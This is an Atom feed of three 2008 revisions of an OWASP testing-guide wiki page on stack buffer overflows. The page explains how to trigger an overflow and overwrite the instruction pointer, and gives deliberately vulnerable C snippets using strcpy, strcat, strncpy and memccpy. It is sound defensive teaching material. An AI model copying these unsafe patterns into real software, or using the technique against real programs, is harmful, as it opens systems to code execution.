<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Marco</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Marco"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Marco"/>
		<updated>2026-05-02T18:46:43Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Stack_Overflow&amp;diff=37042</id>
		<title>Testing for Stack Overflow</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Stack_Overflow&amp;diff=37042"/>
				<updated>2008-08-23T17:17:03Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In this section, we describe a particular overflow test that focuses on how to manipulate the program stack.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Stack overflows occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking.   &lt;br /&gt;
Vulnerabilities of this class are generally considered to be of high severity since their exploitation would mostly permit arbitrary code execution or Denial of Service. Rarely found in interpreted platforms, code written in C and similar languages is often ridden with instances of this vulnerability. An extract from the buffer overflow section of OWASP Guide 2.0 states that:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
“Almost every platform, with the following notable exceptions:&lt;br /&gt;
J2EE – as long as native methods or system calls are not invoked&lt;br /&gt;
.NET – as long as /unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop)&lt;br /&gt;
PHP – as long as external programs and vulnerable PHP extensions written in C or C++ are not called “ &lt;br /&gt;
can suffer from stack overflow issues.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Stack overflow vulnerabilities often allow an attacker to directly take control of the instruction pointer and, therefore, alter the execution of the program and execute arbitrary code. Besides  overwriting the instruction pointer, similar results can also be obtained by overwriting other variables and structures, like Exception Handlers, which are located on the stack.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The key to testing an application for stack overflow vulnerabilities is supplying overly large input data as compared to what is expected. &lt;br /&gt;
However, subjecting the application to arbitrarily large data is not sufficient. It becomes necessary to inspect the application’s execution flow and responses to ascertain whether an overflow has actually been triggered or not. Therefore, the steps required to locate and validate stack overflows would involve attaching a debugger to the target application or process, generate malformed input for the application, subject application to malformed input, and inspect responses in debugger. The debugger allows the tester to view the execution flow and the state of the registers when the vulnerability gets triggered.&lt;br /&gt;
&lt;br /&gt;
On the other hand, a more passive form of testing can be employed, which involves inspecting assembly code of the application by using disassemblers. In this case various, sections are scanned for signatures of vulnerable assembly fragments. This is often termed as reverse engineering and is a tedious process.&lt;br /&gt;
&lt;br /&gt;
As a simple example, consider the following technique employed while testing an executable “sample.exe” for stack overflows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
{&lt;br /&gt;
  char buff[20];&lt;br /&gt;
  printf(&amp;quot;copying into buffer&amp;quot;);   &lt;br /&gt;
  strcpy(buff,argv[1]);&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File sample.exe is launched in a debugger, in our case OllyDbg.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:stack overflow vulnerability.gif]]&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Since the application is expecting command line arguments, a large sequence of characters such as ‘A’, can be supplied in the argument field shown above.&lt;br /&gt;
&lt;br /&gt;
On opening the executable with the supplied arguments and continuing execution the following results are obtained.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:stack overflow vulnerability 2.gif]]&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
As shown in the registers window of the debugger, the EIP or extended Instruction pointer, which points to the next instruction to be executed, contains the value ‘41414141’. ‘41’ is a hexadecimal representation for the character ‘A’ and therefore the string ‘AAAA’ translates to 41414141.&lt;br /&gt;
&lt;br /&gt;
This clearly demonstrates how input data can be used to overwrite the instruction pointer with user supplied values and control program execution. A stack overflow can also allow overwriting of stack based structures like SEH (Structured Exception Handler) to control code execution and bypass certain stack protection mechanisms.&lt;br /&gt;
&lt;br /&gt;
As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing techniques.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
When reviewing code for stack overflows, it is advisable to search for calls to insecure library functions like gets(), strcpy(), strcat() etc which do not validate the length of source strings and blindly copy data into fixed size buffers.&lt;br /&gt;
&lt;br /&gt;
For example consider the following function:-&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void log_create(int severity, char *inpt) {&lt;br /&gt;
&lt;br /&gt;
char b[1024];&lt;br /&gt;
&lt;br /&gt;
if (severity == 1)&lt;br /&gt;
{&lt;br /&gt;
strcat(b,”Error occured on”);&lt;br /&gt;
strcat(b,&amp;quot;:&amp;quot;);&lt;br /&gt;
strcat(b,inpt); &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
FILE *fd = fopen (&amp;quot;logfile.log&amp;quot;, &amp;quot;a&amp;quot;);&lt;br /&gt;
fprintf(fd, &amp;quot;%s&amp;quot;, b);&lt;br /&gt;
fclose(fd);&lt;br /&gt;
&lt;br /&gt;
. . . . . .&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From above, the line strcat(b,inpt) will result in a stack overflow in case inpt exceeds 1024 bytes. Not only does this demonstrate an insecure usage of strcat, it also shows how important it is to examine the length of strings referenced by a character pointer that is passed as an argument to a function; In this case the length of string referenced by char *inpt. Therefore it is always a good idea to trace back the source of function arguments and ascertain string lengths while reviewing code. &lt;br /&gt;
&lt;br /&gt;
Usage of the relatively safer strncpy() can also lead to stack overflows since it only restricts the number of bytes copied into the destination buffer. In case the size argument that is used to accomplish this is generated dynamically based on user input or calculated inaccurately within loops, it is possible to overflow stack buffers.  For example:-&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Void func(char *source)&lt;br /&gt;
{&lt;br /&gt;
Char dest[40];&lt;br /&gt;
…&lt;br /&gt;
size=strlen(source)+1&lt;br /&gt;
….&lt;br /&gt;
strncpy(dest,source,size) &lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where source is user controllable data. A good example would be the samba trans2open stack overflow vulnerability (http://www.securityfocus.com/archive/1/317615). &lt;br /&gt;
&lt;br /&gt;
Vulnerabilities can also appear in URL and address parsing code. In such cases a function like memccpy() is usually employed which copies data into a destination buffer from source till a specified character is not encountered. Consider the function: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Void func(char *path)&lt;br /&gt;
{&lt;br /&gt;
char servaddr[40];&lt;br /&gt;
…&lt;br /&gt;
memccpy(servaddr,path,'\');&lt;br /&gt;
….&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case the information contained in path could be greater than 40 bytes before ‘\’ can be encountered. If so it will cause a stack overflow. A similar vulnerability was located in Windows RPCSS subsystem (MS03-026). The vulnerable code copied server names from UNC paths into a fixed size buffer till a ‘\’ was encountered. The length of the server name in this case was controllable by users.&lt;br /&gt;
&lt;br /&gt;
Apart from manually reviewing code for stack overflows, static code analysis tools can also be of great assistance. Although they tend to generate a lot of false positives and would barely be able to locate a small portion of defects, they certainly help in reducing the overhead associated with finding low hanging fruits like strcpy() and sprintf() bugs. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages. &lt;br /&gt;
 &lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Defeating Stack Based Buffer Overflow Prevention Mechanism of Windows 2003 Server - http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf&lt;br /&gt;
* Aleph One: &amp;quot;Smashing the Stack for Fun and Profit&amp;quot; - http://www.phrack.org/issues.html?issue=49&amp;amp;id=14#article&lt;br /&gt;
* Tal Zeltzer: &amp;quot;Basic stack overflow exploitation on Win32&amp;quot; - http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Basic_stack_overflow_exploiting_on_win32&lt;br /&gt;
* Tal Zeltzer&amp;quot;Exploiting Default SEH to increase Exploit Stability&amp;quot; - &lt;br /&gt;
http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Exploiting_default_seh_to_increase_stability&lt;br /&gt;
* The Samba trans2open stack overflow vulnerability - http://www.securityfocus.com/archive/1/317615&lt;br /&gt;
* Windows RPC DCOM vulnerability details - http://www.xfocus.org/documents/200307/2.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OllyDbg: &amp;quot;A windows based debugger used for analyzing buffer overflow vulnerabilities&amp;quot; - http://www.ollydbg.de&lt;br /&gt;
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz&lt;br /&gt;
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net/&lt;br /&gt;
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework/&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Stack_Overflow&amp;diff=37041</id>
		<title>Testing for Stack Overflow</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Stack_Overflow&amp;diff=37041"/>
				<updated>2008-08-23T17:12:06Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In this section, we describe a particular overflow test that focuses on how to manipulate the program stack.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Stack overflows occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking.   &lt;br /&gt;
Vulnerabilities of this class are generally considered to be of high severity since their exploitation would mostly permit arbitrary code execution or Denial of Service. Rarely found in interpreted platforms, code written in C and similar languages is often ridden with instances of this vulnerability. An extract from the buffer overflow section of OWASP Guide 2.0 states that:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
“Almost every platform, with the following notable exceptions:&lt;br /&gt;
J2EE – as long as native methods or system calls are not invoked&lt;br /&gt;
.NET – as long as /unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop)&lt;br /&gt;
PHP – as long as external programs and vulnerable PHP extensions written in C or C++ are not called “ &lt;br /&gt;
can suffer from stack overflow issues.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Stack overflow vulnerabilities often allow an attacker to directly take control of the instruction pointer and, therefore, alter the execution of the program and execute arbitrary code. Besides  overwriting the instruction pointer, similar results can also be obtained by overwriting other variables and structures, like Exception Handlers, which are located on the stack.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The key to testing an application for stack overflow vulnerabilities is supplying overly large input data as compared to what is expected. &lt;br /&gt;
However subjecting the application to arbitrarily large data is not sufficient. It becomes necessary to inspect the application’s execution flow and responses to ascertain whether an overflow has actually been triggered or not. Therefore the steps required to locate and validate stack overflows would involve attaching a debugger to the target application or process, generate malformed input for the application, subject application to malformed input and inspect responses in debugger. The debugger serves to be the medium for viewing execution flow and state of the registers when vulnerability gets triggered.&lt;br /&gt;
&lt;br /&gt;
On the other Hand a more passive form of testing can be employed which involves inspecting assembly code of the application by use of disassemblers. In this case various sections are scanned for signatures of vulnerable assembly fragments. This is often termed as reverse engineering and is a tedious process.&lt;br /&gt;
&lt;br /&gt;
As a simple example consider the following technique employed while testing an executable “sample.exe” for stack overflows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
{&lt;br /&gt;
char buff[20];&lt;br /&gt;
printf(&amp;quot;copying into buffer&amp;quot;);   &lt;br /&gt;
strcpy(buff,argv[1]);&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File sample.exe is launched in a debugger, in our case OllyDbg.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:stack overflow vulnerability.gif]]&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Since the application is expecting command line arguments, a large sequence of characters such as ‘A’ can be supplied in the arguments field shown above.&lt;br /&gt;
&lt;br /&gt;
On opening the executable with supplied arguments and continuing execution the following results are obtained.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:stack overflow vulnerability 2.gif]]&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
As shown in the registers window of the debugger, the EIP or extended Instruction pointer, which points to the next instruction lined up for execution, contains the value ‘41414141’. ‘41’ is a hexadecimal representation for the character ‘A’ and therefore the string ‘AAAA’ translates to 41414141.&lt;br /&gt;
&lt;br /&gt;
This clearly demonstrates how input data can be used to overwrite the instruction pointer with user supplied values and control program execution. A stack overflow can also allow overwriting of stack based structures like SEH (Structured Exception Handler) to control code execution and bypass certain stack protection mechanisms.&lt;br /&gt;
&lt;br /&gt;
As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using Fuzzing techniques.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
When reviewing code for stack overflows, it is advisable to search for calls to insecure library functions like gets(), strcpy(), strcat() etc which do not validate the length of source strings and blindly copy data into fixed size buffers.&lt;br /&gt;
&lt;br /&gt;
For example consider the following function:-&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void log_create(int severity, char *inpt) {&lt;br /&gt;
&lt;br /&gt;
char b[1024];&lt;br /&gt;
&lt;br /&gt;
if (severity == 1)&lt;br /&gt;
{&lt;br /&gt;
strcat(b,”Error occured on”);&lt;br /&gt;
strcat(b,&amp;quot;:&amp;quot;);&lt;br /&gt;
strcat(b,inpt); &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
FILE *fd = fopen (&amp;quot;logfile.log&amp;quot;, &amp;quot;a&amp;quot;);&lt;br /&gt;
fprintf(fd, &amp;quot;%s&amp;quot;, b);&lt;br /&gt;
fclose(fd);&lt;br /&gt;
&lt;br /&gt;
. . . . . .&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From above, the line strcat(b,inpt) will result in a stack overflow in case inpt exceeds 1024 bytes. Not only does this demonstrate an insecure usage of strcat, it also shows how important it is to examine the length of strings referenced by a character pointer that is passed as an argument to a function; In this case the length of string referenced by char *inpt. Therefore it is always a good idea to trace back the source of function arguments and ascertain string lengths while reviewing code. &lt;br /&gt;
&lt;br /&gt;
Usage of the relatively safer strncpy() can also lead to stack overflows since it only restricts the number of bytes copied into the destination buffer. In case the size argument that is used to accomplish this is generated dynamically based on user input or calculated inaccurately within loops, it is possible to overflow stack buffers.  For example:-&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Void func(char *source)&lt;br /&gt;
{&lt;br /&gt;
Char dest[40];&lt;br /&gt;
…&lt;br /&gt;
size=strlen(source)+1&lt;br /&gt;
….&lt;br /&gt;
strncpy(dest,source,size) &lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where source is user controllable data. A good example would be the samba trans2open stack overflow vulnerability (http://www.securityfocus.com/archive/1/317615). &lt;br /&gt;
&lt;br /&gt;
Vulnerabilities can also appear in URL and address parsing code. In such cases a function like memccpy() is usually employed which copies data into a destination buffer from source till a specified character is not encountered. Consider the function: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Void func(char *path)&lt;br /&gt;
{&lt;br /&gt;
char servaddr[40];&lt;br /&gt;
…&lt;br /&gt;
memccpy(servaddr,path,'\');&lt;br /&gt;
….&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case the information contained in path could be greater than 40 bytes before ‘\’ can be encountered. If so it will cause a stack overflow. A similar vulnerability was located in Windows RPCSS subsystem (MS03-026). The vulnerable code copied server names from UNC paths into a fixed size buffer till a ‘\’ was encountered. The length of the server name in this case was controllable by users.&lt;br /&gt;
&lt;br /&gt;
Apart from manually reviewing code for stack overflows, static code analysis tools can also be of great assistance. Although they tend to generate a lot of false positives and would barely be able to locate a small portion of defects, they certainly help in reducing the overhead associated with finding low hanging fruits like strcpy() and sprintf() bugs. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages. &lt;br /&gt;
 &lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Defeating Stack Based Buffer Overflow Prevention Mechanism of Windows 2003 Server - http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf&lt;br /&gt;
* Aleph One: &amp;quot;Smashing the Stack for Fun and Profit&amp;quot; - http://www.phrack.org/issues.html?issue=49&amp;amp;id=14#article&lt;br /&gt;
* Tal Zeltzer: &amp;quot;Basic stack overflow exploitation on Win32&amp;quot; - http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Basic_stack_overflow_exploiting_on_win32&lt;br /&gt;
* Tal Zeltzer&amp;quot;Exploiting Default SEH to increase Exploit Stability&amp;quot; - &lt;br /&gt;
http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Exploiting_default_seh_to_increase_stability&lt;br /&gt;
* The Samba trans2open stack overflow vulnerability - http://www.securityfocus.com/archive/1/317615&lt;br /&gt;
* Windows RPC DCOM vulnerability details - http://www.xfocus.org/documents/200307/2.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OllyDbg: &amp;quot;A windows based debugger used for analyzing buffer overflow vulnerabilities&amp;quot; - http://www.ollydbg.de&lt;br /&gt;
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz&lt;br /&gt;
* Brute Force Binary Tester (BFB), A proactive binary checker - http://bfbtester.sourceforge.net/&lt;br /&gt;
* Metasploit, A rapid exploit development and Testing frame work - http://www.metasploit.com/projects/Framework/&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Stack_Overflow&amp;diff=37019</id>
		<title>Testing for Stack Overflow</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Stack_Overflow&amp;diff=37019"/>
				<updated>2008-08-23T08:10:51Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Brief Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
In this section, we describe a particular overflow test that focuses on how to manipulate the program stack.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Stack overflows occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking.   &lt;br /&gt;
Vulnerabilities of this class are generally considered to be of high severity since exploitation would mostly permit arbitrary code execution or Denial of Service. Rarely found in interpreted platforms, code written in C and similar languages is often ridden with instances of this vulnerability. An extract from the buffer overflow section of OWASP Guide 2.0 states that:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
“Almost every platform, with the following notable exceptions:&lt;br /&gt;
J2EE – as long as native methods or system calls are not invoked&lt;br /&gt;
.NET – as long as /unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop)&lt;br /&gt;
PHP – as long as external programs and vulnerable PHP extensions written in C or C++ are not called “ &lt;br /&gt;
can suffer from stack overflow issues.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The stack overflow vulnerability attains high severity on account of the fact that it allows overwriting of the Instruction Pointer with arbitrary values. It is a well known fact that the instruction pointer is instrumental in governing the code execution flow. The ability to manipulate it would allow an attacker to alter execution flow and thereby execute arbitrary code. Apart from overwriting the instruction pointer, similar results can also be obtained by overwriting other variables and structures, like Exception Handlers, which are located on the stack.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The key to testing an application for stack overflow vulnerabilities is supplying overly large input data as compared to what is expected. &lt;br /&gt;
However subjecting the application to arbitrarily large data is not sufficient. It becomes necessary to inspect the application’s execution flow and responses to ascertain whether an overflow has actually been triggered or not. Therefore the steps required to locate and validate stack overflows would involve attaching a debugger to the target application or process, generate malformed input for the application, subject application to malformed input and inspect responses in debugger. The debugger serves to be the medium for viewing execution flow and state of the registers when vulnerability gets triggered.&lt;br /&gt;
&lt;br /&gt;
On the other Hand a more passive form of testing can be employed which involves inspecting assembly code of the application by use of disassemblers. In this case various sections are scanned for signatures of vulnerable assembly fragments. This is often termed as reverse engineering and is a tedious process.&lt;br /&gt;
&lt;br /&gt;
As a simple example consider the following technique employed while testing an executable “sample.exe” for stack overflows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
{&lt;br /&gt;
char buff[20];&lt;br /&gt;
printf(&amp;quot;copying into buffer&amp;quot;);   &lt;br /&gt;
strcpy(buff,argv[1]);&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File sample.exe is launched in a debugger, in our case OllyDbg.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:stack overflow vulnerability.gif]]&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Since the application is expecting command line arguments, a large sequence of characters such as ‘A’ can be supplied in the arguments field shown above.&lt;br /&gt;
&lt;br /&gt;
On opening the executable with supplied arguments and continuing execution the following results are obtained.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:stack overflow vulnerability 2.gif]]&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
As shown in the registers window of the debugger, the EIP or extended Instruction pointer, which points to the next instruction lined up for execution, contains the value ‘41414141’. ‘41’ is a hexadecimal representation for the character ‘A’ and therefore the string ‘AAAA’ translates to 41414141.&lt;br /&gt;
&lt;br /&gt;
This clearly demonstrates how input data can be used to overwrite the instruction pointer with user supplied values and control program execution. A stack overflow can also allow overwriting of stack based structures like SEH (Structured Exception Handler) to control code execution and bypass certain stack protection mechanisms.&lt;br /&gt;
&lt;br /&gt;
As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using Fuzzing techniques.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
When reviewing code for stack overflows, it is advisable to search for calls to insecure library functions like gets(), strcpy(), strcat() etc which do not validate the length of source strings and blindly copy data into fixed size buffers.&lt;br /&gt;
&lt;br /&gt;
For example consider the following function:-&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void log_create(int severity, char *inpt) {&lt;br /&gt;
&lt;br /&gt;
char b[1024];&lt;br /&gt;
&lt;br /&gt;
if (severity == 1)&lt;br /&gt;
{&lt;br /&gt;
strcat(b,”Error occured on”);&lt;br /&gt;
strcat(b,&amp;quot;:&amp;quot;);&lt;br /&gt;
strcat(b,inpt); &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
FILE *fd = fopen (&amp;quot;logfile.log&amp;quot;, &amp;quot;a&amp;quot;);&lt;br /&gt;
fprintf(fd, &amp;quot;%s&amp;quot;, b);&lt;br /&gt;
fclose(fd);&lt;br /&gt;
&lt;br /&gt;
. . . . . .&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From above, the line strcat(b,inpt) will result in a stack overflow in case inpt exceeds 1024 bytes. Not only does this demonstrate an insecure usage of strcat, it also shows how important it is to examine the length of strings referenced by a character pointer that is passed as an argument to a function; In this case the length of string referenced by char *inpt. Therefore it is always a good idea to trace back the source of function arguments and ascertain string lengths while reviewing code. &lt;br /&gt;
&lt;br /&gt;
Usage of the relatively safer strncpy() can also lead to stack overflows since it only restricts the number of bytes copied into the destination buffer. In case the size argument that is used to accomplish this is generated dynamically based on user input or calculated inaccurately within loops, it is possible to overflow stack buffers.  For example:-&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Void func(char *source)&lt;br /&gt;
{&lt;br /&gt;
Char dest[40];&lt;br /&gt;
…&lt;br /&gt;
size=strlen(source)+1&lt;br /&gt;
….&lt;br /&gt;
strncpy(dest,source,size) &lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where source is user controllable data. A good example would be the samba trans2open stack overflow vulnerability (http://www.securityfocus.com/archive/1/317615). &lt;br /&gt;
&lt;br /&gt;
Vulnerabilities can also appear in URL and address parsing code. In such cases a function like memccpy() is usually employed which copies data into a destination buffer from source till a specified character is not encountered. Consider the function: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Void func(char *path)&lt;br /&gt;
{&lt;br /&gt;
char servaddr[40];&lt;br /&gt;
…&lt;br /&gt;
memccpy(servaddr,path,'\');&lt;br /&gt;
….&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case the information contained in path could be greater than 40 bytes before ‘\’ can be encountered. If so it will cause a stack overflow. A similar vulnerability was located in Windows RPCSS subsystem (MS03-026). The vulnerable code copied server names from UNC paths into a fixed size buffer till a ‘\’ was encountered. The length of the server name in this case was controllable by users.&lt;br /&gt;
&lt;br /&gt;
Apart from manually reviewing code for stack overflows, static code analysis tools can also be of great assistance. Although they tend to generate a lot of false positives and would barely be able to locate a small portion of defects, they certainly help in reducing the overhead associated with finding low hanging fruits like strcpy() and sprintf() bugs. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages. &lt;br /&gt;
 &lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Defeating Stack Based Buffer Overflow Prevention Mechanism of Windows 2003 Server - http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf&lt;br /&gt;
* Aleph One: &amp;quot;Smashing the Stack for Fun and Profit&amp;quot; - http://www.phrack.org/issues.html?issue=49&amp;amp;id=14#article&lt;br /&gt;
* Tal Zeltzer: &amp;quot;Basic stack overflow exploitation on Win32&amp;quot; - http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Basic_stack_overflow_exploiting_on_win32&lt;br /&gt;
* Tal Zeltzer&amp;quot;Exploiting Default SEH to increase Exploit Stability&amp;quot; - &lt;br /&gt;
http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Exploiting_default_seh_to_increase_stability&lt;br /&gt;
* The Samba trans2open stack overflow vulnerability - http://www.securityfocus.com/archive/1/317615&lt;br /&gt;
* Windows RPC DCOM vulnerability details - http://www.xfocus.org/documents/200307/2.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OllyDbg: &amp;quot;A windows based debugger used for analyzing buffer overflow vulnerabilities&amp;quot; - http://www.ollydbg.de&lt;br /&gt;
* Spike, A fuzzer framework that can be used to explore vulnerabilities and perform length testing - http://www.immunitysec.com/downloads/SPIKE2.9.tgz&lt;br /&gt;
